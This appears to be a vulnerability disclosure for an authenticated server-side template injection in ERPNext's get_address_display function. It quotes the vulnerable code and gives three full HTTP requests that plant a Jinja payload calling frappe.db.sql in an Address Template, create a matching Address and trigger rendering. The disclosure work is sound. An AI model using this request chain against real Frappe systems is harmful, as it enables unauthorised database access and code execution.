Description:

An authenticated SSTI (Server-Side Template Injection) vulnerability exists in the get_address_display method of ERPNext. This function renders address templates using frappe.render_template() with a context derived from the address_dict parameter, which can be either a dictionary or a string referencing an Address document.

Although ERPNext uses a custom Jinja2 SandboxedEnvironment, dangerous functions like frappe.db.sql remain accessible via get_safe_globals().

An attacker with permission to create or modify an Address Template can inject arbitrary Jinja expressions into the template field. By creating an Address document with a matching country, and then calling the get_address_display API with address_dict="address_name", the system will render the malicious template using attacker-controlled data. This leads to server-side code execution or database information disclosure.

Vulnerable source code:

File frappe/contacts/doctype/address/address.py

@frappe.whitelist()
def get_address_display(address_dict: dict | str | None) -> str | None:
	return render_address(address_dict)

def render_address(address: dict | str | None, check_permissions=True) -> str | None:
	if not address:
		return

	if not isinstance(address, dict):
		address = frappe.get_cached_doc("Address", address)
		if check_permissions:
			address.check_permission()
		address = address.as_dict()

	name, template = get_address_templates(address)

	try:
		return frappe.render_template(template, address)
	except TemplateSyntaxError:
		frappe.throw(_("There is an error in your Address Template {0}").format(name))

Request set template = {{ frappe.db.sql("SELECT @@version") }}

POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/address-template/Angola>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 539
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0

doc=%7B%22name%22%3A%22Angola%22%2C%22owner%22%3A%22Administrator%22%2C%22creation%22%3A%222025-07-22+16%3A51%3A56.011084%22%2C%22modified%22%3A%222025-07-22+16%3A51%3A56.011084%22%2C%22modified_by%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A0%2C%22country%22%3A%22Angola%22%2C%22is_default%22%3A1%2C%22template%22%3A%22%7B%7B+frappe.db.sql(%5C%22SELECT+%40%40version%5C%22)+%7D%7D%22%2C%22doctype%22%3A%22Address+Template%22%2C%22__last_sync_on%22%3A%222025-07-22T10%3A03%3A08.734Z%22%2C%22__unsaved%22%3A1%7D&action=Save

Request created addr_dict

POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/address/new-address-zlkvwenbty>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 534
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0

doc=%7B%22docstatus%22%3A0%2C%22doctype%22%3A%22Address%22%2C%22name%22%3A%22new-address-zlkvwenbty%22%2C%22__islocal%22%3A1%2C%22__unsaved%22%3A1%2C%22owner%22%3A%22Administrator%22%2C%22address_type%22%3A%22Billing%22%2C%22country%22%3A%22Angola%22%2C%22is_primary_address%22%3A0%2C%22is_shipping_address%22%3A0%2C%22disabled%22%3A0%2C%22is_your_company_address%22%3A0%2C%22links%22%3A%5B%5D%2C%22address_title%22%3A%22helloan5%22%2C%22address_line1%22%3A%22a%22%2C%22address_line2%22%3A%22a%22%2C%22city%22%3A%22a%22%7D&action=Save

Request trigger:

POST /api/method/frappe.contacts.doctype.address.address.get_address_display HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/email-template/new-email-template-trqleapgcw>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 21
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0

address_dict=helloan5

PoC

image.png